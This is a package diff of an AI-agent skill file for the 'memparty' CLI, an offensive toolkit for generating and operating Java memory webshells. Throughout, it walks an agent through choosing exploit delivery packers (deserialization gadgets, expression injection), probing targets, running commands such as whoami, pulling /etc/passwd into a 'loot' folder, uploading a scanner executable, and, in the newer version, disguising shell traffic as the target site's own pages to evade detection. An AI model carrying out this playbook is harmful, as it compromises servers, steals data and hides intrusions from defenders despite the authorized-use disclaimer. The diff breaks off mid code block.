memshell-party-cli 0.3.3 → 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,281 +1,453 @@
1
- ---
2
- name: memshell-party
3
- description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
4
- ---
5
-
6
- # MemShellParty skill
7
-
8
- Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
9
- by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
10
-
11
- > ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
12
- > do not have explicit written permission to test. You are responsible for how these payloads are used.
13
-
14
- ## How to talk to the tool
15
-
16
- Two equivalent interfaces — pick whichever is available:
17
-
18
- - **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
19
- - **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
20
- `list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
21
- `server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
22
- `target_note`, `target_list`, `target_remove`, `log_list`.
23
-
24
- The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
25
- (`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
26
-
27
- ## Step 0 — Discover, don't guess
28
-
29
- The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
30
- hard-code a server/packer name from memory.** Always enumerate first:
31
-
32
- ```bash
33
- memparty config servers # every server + its shell types
34
- memparty config tools Tomcat # one server's tools + types
35
- memparty config packers # packer parent/child tree
36
- memparty config command # Command-tool encryptors & implementation classes
37
- ```
38
-
39
- Add `--json` for machine-readable output. Use the exact strings these return.
40
-
41
- Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
42
- versions; over MCP: `server_version`).
43
-
44
- ## Step 1 — Pick the four core options
45
-
46
- Every memory shell needs **server → shell tool → shell type → packer**.
47
-
48
- ### server
49
- The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
50
- `SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
51
- to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
52
-
53
- ### shell tool (what the memshell does once injected)
54
- | Tool | Use when |
55
- |------|----------|
56
- | `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
57
- | `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
58
- | `AntSword` | AntSword ("蚁剑") webshell (pass) |
59
- | `Command` | Single command execution / RCE (param name + encryptor) |
60
- | `Suo5` / `Suo5v2` | SOCKS5 proxy tunnel via Suo5 |
61
- | `NeoreGeorg` | NeoreGeorg tunneling shell |
62
- | `Proxy` | Generic proxy (often WebSocket-based) |
63
- | `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
64
-
65
- ### shell type (where it hooks into the server)
66
- `Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
67
- `Agent*` variants. Rules of thumb:
68
- - **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
69
- Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
70
- - **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
71
- - **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
72
- filters). `Proxy` tool commonly pairs with `WebSocket` types.
73
- - Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
74
-
75
- ### packer (how to deliver/instantiate the payload)
76
- The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
77
-
78
- | Scenario / vuln | Packer family (leaf names) |
79
- |-----------------|----------------------------|
80
- | Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
81
- | Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
82
- | `Class.forName` / `defineClass` via big int | `BigInteger` |
83
- | BCEL-encoded classloading | `BCEL` |
84
- | `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
85
- | Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
86
- | Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
87
- | Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
88
- | Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
89
- | `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
90
- | Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
91
- | H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
92
- | Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
93
- | XXL-JOB endpoint | `XxlJob` |
94
-
95
- > **Aggregate vs leaf packers:** parent packers like `Base64`, `JSP`, `JavaDeserialize`,
96
- > `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… return *several* variants at once
97
- > (`allPackResults`). For a single payload, pick a **leaf** (child) packer. Run
98
- > `memparty config packers` to see the parent→child tree.
99
-
100
- ## Step 2 — Probe (fingerprint first when unsure)
101
-
102
- If you don't know the target middleware, generate a **probe** to detect it before committing to a
103
- memshell. Probes have a strict method × content matrix — only these combos work:
104
-
105
- | Method (`-m`) | Supported contents (`-c`) | Extra flags |
106
- |---------------|---------------------------|-------------|
107
- | `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
108
- | `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
109
- | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
110
-
111
- > `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
112
-
113
- ```bash
114
- # Blind: does the target resolve our DNS? Which server is it?
115
- memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
116
-
117
- # Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
118
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
119
-
120
- # OOB-visible: run a command and echo it into the HTTP response body
121
- memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
122
- ```
123
-
124
- The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
125
-
126
- ## Step 3 — Generate
127
-
128
- ```bash
129
- memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
130
- ```
131
-
132
- Common tool-specific flags:
133
- - Godzilla: `--godzilla-pass`, `--godzilla-key`
134
- - Behinder: `--behinder-pass`
135
- - AntSword: `--antsword-pass`
136
- - Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
137
- - All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
138
- - Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
139
- - Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
140
-
141
- Output:
142
- - payload → **stdout** by default.
143
- - `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
144
- - `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
145
-
146
- ## Step 4 — Verify the shell is alive
147
-
148
- Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
149
- you whether it works (exit 0/1):
150
-
151
- ```bash
152
- memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key> # defaults pass/key
153
- memparty connect -u <shell-url> -t behinder --pass <pass> # default rebeyond
154
- memparty connect -u <shell-url> -t suo5 # add --suo5-mode v2|v1 to force
155
- ```
156
-
157
- MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
158
- `gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
159
- response (the Suo5v2 shell checks it too):
160
-
161
- ```bash
162
- memparty connect -u <shell-url> -t godzilla --pass pass --key key \
163
- --header-name User-Agent --header-value <headerValue-from-gen-json>
164
- ```
165
-
166
- Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
167
- `headerName`/`headerValue`, `suo5Mode`).
168
-
169
- Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
170
- `-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
171
-
172
- ## Step 5 — Execute commands on the shell
173
-
174
- Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
175
- prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
176
- `connect`:
177
-
178
- ```bash
179
- memparty exec -u <shell-url> -t godzilla --pass pass --key key \
180
- --header-name User-Agent --header-value <headerValue-from-gen-json> \
181
- --cmd "whoami"
182
- memparty exec -u <shell-url> -t behinder --pass rebeyond \
183
- --header-name User-Agent --header-value <headerValue-from-gen-json> \
184
- --cmd "id"
185
- ```
186
-
187
- - Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
188
- `cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
189
- - Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
190
- - `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
191
-
192
- Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
193
- `headerName`/`headerValue`).
194
-
195
- ## Step 6 — Transfer files
196
-
197
- `memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
198
- real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
199
- Behinder). Same credentials and gate header as `exec`:
200
-
201
- ```bash
202
- memparty download -u <shell-url> -t godzilla --pass pass --key key \
203
- --header-name User-Agent --header-value <headerValue-from-gen-json> \
204
- /etc/passwd -o loot/passwd
205
- memparty upload hw222/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
206
- ```
207
-
208
- - Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
209
- directory keeps the remote basename; no `-o` means `./<basename>`.
210
- - Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
211
- upload warns that the remote file may be partial.
212
- - Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
213
- - Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
214
- server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
215
- Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
216
- - `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
217
- file bytes never travel over MCP/stdout.
218
-
219
- Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
220
- `upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
221
- paths are on the machine running the MCP server.
222
-
223
- ## Step 7 — Save targets, switch by name
224
-
225
- Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
226
- with an optional remark and category), then reference it as `<project>/<shell>`:
227
-
228
- ```bash
229
- memparty save hw222/bh9060 -u <shell-url> -t behinder --pass rebeyond \
230
- --header-name User-Agent --header-value <headerValue-from-gen-json> \
231
- --remark "内网测试环境" --category test --shell-remark "root 权限"
232
- memparty list # everything, or --category test
233
- memparty exec hw222/bh9060 --cmd "whoami" # no other flags needed
234
- memparty exec hw222 --cmd "id" # bare project works when it holds one shell
235
- ```
236
-
237
- MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
238
- `projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
239
- (project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
240
- `name: "<project>/<shell>"` to `connect_test` / `exec_command`.
241
- The store lives at `~/.memparty/targets.json`.
242
-
243
- ## Step 8 — Audit with the operation log
244
-
245
- Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
246
- `~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
247
- is truncated.
248
- Query it to recall what was done against a target:
249
-
250
- ```bash
251
- memparty log --category exec --target hw222
252
- ```
253
-
254
- Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
255
- actions before repeating them, or to answer "what did we run on this host?".
256
-
257
- ## Gotchas
258
-
259
- - **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
260
- → non-prefixed. Picking the wrong family = the shell won't load.
261
- - **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the
262
- target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
263
- - **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
264
- special injector class name — the CLI generates one automatically; don't override
265
- `--injector-class-name` for these.
266
- - **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
267
- - **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1).
268
- - **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
269
- aren't class-byte payloads.
270
- - **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
271
- don't trust payloads from public services in real engagements — self-host with Docker and use
272
- `MEMPARTY_API_URL` or `--api`).
273
-
274
- ## Reverse: parse a class name
275
-
276
- Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
277
-
278
- ```bash
279
- memparty parse-classname --file shell.class
280
- memparty parse-classname <base64-of-class-bytes>
281
- ```
1
+ ---
2
+ name: memshell-party
3
+ description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Includes the `mimic` site-mimicking protocol: the agent hand-writes a site profile (`memparty profile init`) so shell traffic blends into real business pages. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
4
+ ---
5
+
6
+ # MemShellParty skill
7
+
8
+ Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
9
+ by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
10
+
11
+ > ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
12
+ > do not have explicit written permission to test. You are responsible for how these payloads are used.
13
+
14
+ ## How to talk to the tool
15
+
16
+ Two equivalent interfaces — pick whichever is available:
17
+
18
+ - **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
19
+ - **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
20
+ `list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
21
+ `server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
22
+ `target_note`, `target_list`, `target_remove`, `log_list`.
23
+
24
+ The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
25
+ (`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
26
+
27
+ ## Step 0 — Discover, don't guess
28
+
29
+ The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
30
+ hard-code a server/packer name from memory.** Always enumerate first:
31
+
32
+ ```bash
33
+ memparty config servers # every server + its shell types
34
+ memparty config tools Tomcat # one server's tools + types
35
+ memparty config packers # packer parent/child tree
36
+ memparty config command # Command-tool encryptors & implementation classes
37
+ ```
38
+
39
+ Add `--json` for machine-readable output. Use the exact strings these return.
40
+
41
+ Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
42
+ versions; over MCP: `server_version`).
43
+
44
+ ## Step 1 — Pick the four core options
45
+
46
+ Every memory shell needs **server → shell tool → shell type → packer**.
47
+
48
+ ### server
49
+ The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
50
+ `SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
51
+ to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
52
+
53
+ ### shell tool (what the memshell does once injected)
54
+ | Tool | Use when |
55
+ |------|----------|
56
+ | `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
57
+ | `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
58
+ | `AntSword` | AntSword ("蚁剑") webshell (pass) |
59
+ | `Command` | Single command execution / RCE (param name + encryptor) |
60
+ | `Suo5` / `Suo5v2` | SOCKS5 proxy tunnel via Suo5 |
61
+ | `NeoreGeorg` | NeoreGeorg tunneling shell |
62
+ | `Proxy` | Generic proxy (often WebSocket-based) |
63
+ | `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
64
+
65
+ ### shell type (where it hooks into the server)
66
+ `Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
67
+ `Agent*` variants. Rules of thumb:
68
+ - **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
69
+ Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
70
+ - **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
71
+ - **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
72
+ filters). `Proxy` tool commonly pairs with `WebSocket` types.
73
+ - Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
74
+
75
+ ### packer (how to deliver/instantiate the payload)
76
+ The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
77
+
78
+ | Scenario / vuln | Packer family (leaf names) |
79
+ |-----------------|----------------------------|
80
+ | Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
81
+ | Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
82
+ | `Class.forName` / `defineClass` via big int | `BigInteger` |
83
+ | BCEL-encoded classloading | `BCEL` |
84
+ | `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
85
+ | Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
86
+ | Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
87
+ | Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
88
+ | Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
89
+ | `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
90
+ | Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
91
+ | H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
92
+ | Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
93
+ | XXL-JOB endpoint | `XxlJob` |
94
+
95
+ > **Aggregate vs leaf packers:** parent packers like `Base64`, `JSP`, `JavaDeserialize`,
96
+ > `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… return *several* variants at once
97
+ > (`allPackResults`). For a single payload, pick a **leaf** (child) packer. Run
98
+ > `memparty config packers` to see the parent→child tree.
99
+
100
+ ## Step 2 — Probe (fingerprint first when unsure)
101
+
102
+ If you don't know the target middleware, generate a **probe** to detect it before committing to a
103
+ memshell. Probes have a strict method × content matrix — only these combos work:
104
+
105
+ | Method (`-m`) | Supported contents (`-c`) | Extra flags |
106
+ |---------------|---------------------------|-------------|
107
+ | `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
108
+ | `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
109
+ | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
110
+
111
+ > `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
112
+
113
+ ```bash
114
+ # Blind: does the target resolve our DNS? Which server is it?
115
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
116
+
117
+ # Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
118
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
119
+
120
+ # OOB-visible: run a command and echo it into the HTTP response body
121
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
122
+ ```
123
+
124
+ The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
125
+
126
+ ## Step 3 — Generate
127
+
128
+ ```bash
129
+ memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
130
+ ```
131
+
132
+ Common tool-specific flags:
133
+ - Godzilla: `--godzilla-pass`, `--godzilla-key`
134
+ - Behinder: `--behinder-pass`
135
+ - AntSword: `--antsword-pass`
136
+ - Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
137
+ - All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
138
+ - Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
139
+ - Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
140
+
141
+ Output:
142
+ - payload → **stdout** by default.
143
+ - `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
144
+ - `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
145
+
146
+ ## Step 4 — Verify the shell is alive
147
+
148
+ Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
149
+ you whether it works (exit 0/1):
150
+
151
+ ```bash
152
+ memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key> # defaults pass/key
153
+ memparty connect -u <shell-url> -t behinder --pass <pass> # default rebeyond
154
+ memparty connect -u <shell-url> -t suo5 # add --suo5-mode v2|v1 to force
155
+ ```
156
+
157
+ MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
158
+ `gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
159
+ response (the Suo5v2 shell checks it too):
160
+
161
+ ```bash
162
+ memparty connect -u <shell-url> -t godzilla --pass pass --key key \
163
+ --header-name User-Agent --header-value <headerValue-from-gen-json>
164
+ ```
165
+
166
+ Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
167
+ `headerName`/`headerValue`, `suo5Mode`).
168
+
169
+ Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
170
+ `-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
171
+
172
+ ## Step 5 — Execute commands on the shell
173
+
174
+ Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
175
+ prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
176
+ `connect`:
177
+
178
+ ```bash
179
+ memparty exec -u <shell-url> -t godzilla --pass pass --key key \
180
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
181
+ --cmd "whoami"
182
+ memparty exec -u <shell-url> -t behinder --pass rebeyond \
183
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
184
+ --cmd "id"
185
+ ```
186
+
187
+ - Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
188
+ `cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
189
+ - Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
190
+ - `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
191
+
192
+ Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
193
+ `headerName`/`headerValue`).
194
+
195
+ ## Step 6 — Transfer files
196
+
197
+ `memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
198
+ real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
199
+ Behinder). Same credentials and gate header as `exec`:
200
+
201
+ ```bash
202
+ memparty download -u <shell-url> -t godzilla --pass pass --key key \
203
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
204
+ /etc/passwd -o loot/passwd
205
+ memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
206
+ ```
207
+
208
+ - Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
209
+ directory keeps the remote basename; no `-o` means `./<basename>`.
210
+ - Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
211
+ upload warns that the remote file may be partial.
212
+ - Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
213
+ - Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
214
+ server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
215
+ Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
216
+ - `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
217
+ file bytes never travel over MCP/stdout.
218
+
219
+ Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
220
+ `upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
221
+ paths are on the machine running the MCP server.
222
+
223
+ ## Site-mimicking traffic (mimic protocol)
224
+
225
+ `mimic` is a demo protocol that shapes shell traffic after the target site's own pages:
226
+ requests are browser-style form POSTs; responses are real site pages with the ciphertext
227
+ hidden in a per-shell-unique JS variable (`var Re<md5(pass+key)[0:5]>_config="..."`).
228
+ **You write the site profile — the CLI does not crawl.** That is the point: you can judge
229
+ which page makes believable cover; a regex crawler cannot.
230
+
231
+ ### Workflow
232
+
233
+ 1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404
234
+ page). Note the page structure, `<title>` style, link paths, Content-Type — and judge what
235
+ the site's **dominant traffic** looks like: a content site serves mostly HTML documents,
236
+ an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs.
237
+ 2. **Match the dominant traffic first.** Blending in is a statistics game: your requests
238
+ should be the same *shape* as what the site already serves all day. Today mimic speaks
239
+ HTML pages only — so on a content site mimic the high-traffic documents (homepage, list
240
+ pages); on an SPA/API site an HTML skin is the wrong shape (a JSON envelope skin is the
241
+ planned follow-up), and forcing it makes you *more* visible, not less.
242
+ 3. **Scaffold + hand-write the profile:**
243
+
244
+ ```bash
245
+ memparty profile init acme --site http://target:8080
246
+ ```
247
+
248
+ This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your
249
+ own file tools** — the CLI has no "fill" command; the content is your judgment, not a
250
+ command's output. Fill in:
251
+ - `templates`: **one or more** cover pages — the server rotates among them per response,
252
+ so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick
253
+ **high-traffic, self-contained** ones (the pages real users fetch all the time), and
254
+ paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point.
255
+ Each entry keeps its own `title` and `contentType`.
256
+ - With `--dynamic-path`, also probe what the site returns for a **random** path
257
+ (`curl -i <site>/<random>`): some consoles answer 200 with the login page for *every*
258
+ unknown path instead of a 404. Your templates should match that default response —
259
+ a 200 answer from the shell then mirrors the site's own behavior exactly.
260
+ - `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic
261
+ hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` —
262
+ first-level dirs, same origin only. Used for `--dynamic-path`.
263
+ - `request` (optional but recommended): the request's form shape — **one object or an
264
+ array the client rotates among** (with optional `weight`). `secretField` is the field
265
+ that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form
266
+ field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on
267
+ a real form the site already receives** — e.g. a console login POST. Value placeholders:
268
+ `{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds),
269
+ `{{int:A:B}}`. Never ship the default `pass=<cipher>` single-field body — a lone
270
+ `pass=` parameter is a textbook webshell signature.
271
+ 4. **Use it:**
272
+
273
+ ```bash
274
